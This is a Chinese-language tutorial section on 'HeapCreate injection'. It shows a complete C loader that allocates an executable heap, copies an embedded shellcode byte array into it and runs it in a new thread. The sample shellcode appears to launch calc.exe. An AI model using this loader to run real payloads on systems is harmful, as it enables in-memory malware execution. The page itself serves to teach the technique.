3-创建堆注入(HeapCreate Injection)

一、前言

创建堆注入 是一种在内存的堆区域申请一块内存区域,然后将shellcode移动到申请的堆区域,再执行shellcode的一种注入方式。如果学习过 转换 这一小节的读者想必非常熟悉 创建堆注入 ,因为那一小节的加载器的代码都是通过 创建堆注入 实现的。如果不熟悉也不用担心,因为这种注入方式很简单,我会在下文中再介绍一遍

值得注意的是,HeapCreate 的堆分配选项中有一个 HEAP_CREATE_ENABLE_EXECUTE,这意味着我们能够创建一个可执行的内存区域。

二、流程

  1. 使用 HeapCreate 创建一个堆对象。官方文档:HeapCreate 函数 (heapapi.h) - Win32 apps | Microsoft Learn

  2. 使用 HeapAlloc 为堆申请空间。官方文档:heapAlloc 函数 (heapapi.h) - Win32 apps | Microsoft Learn

  3. 使用 memcpy 将shellcode复制到指定内存区域。官方文档:cplusplus.com/reference/cstring/memcpy/?kw=memcpy

  4. 使用 CreateThread 创建一个线程执行指定位置的代码。官方文档:CreateThread 函数 (processthreadsapi.h) - Win32 apps | Microsoft Learn

  5. 使用 WaitForSingleObject 等待线程完成。官方文档:WaitForSingleObject 函数 (synchapi.h) - Win32 apps | Microsoft Learn

三、代码实现

#include <windows.h>

int main()
{
	unsigned char buf[] = {
		0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
0x5B, 0x5A, 0x59, 0x58, 0xC3
	};

	// 创建一个堆对象
	HANDLE Hheap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);

	// 为堆申请空间
	LPVOID lpAddress = HeapAlloc(Hheap, 0, sizeof(buf));

	// 将shellcode复制到指定内存区域
	memcpy(lpAddress, buf, sizeof(buf));

	// 创建一个线程执行内存中的代码
	HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)lpAddress, NULL, 0, NULL);

	// 等待线程完成
	WaitForSingleObject(hThread, INFINITE);

	return 0;
}

Last updated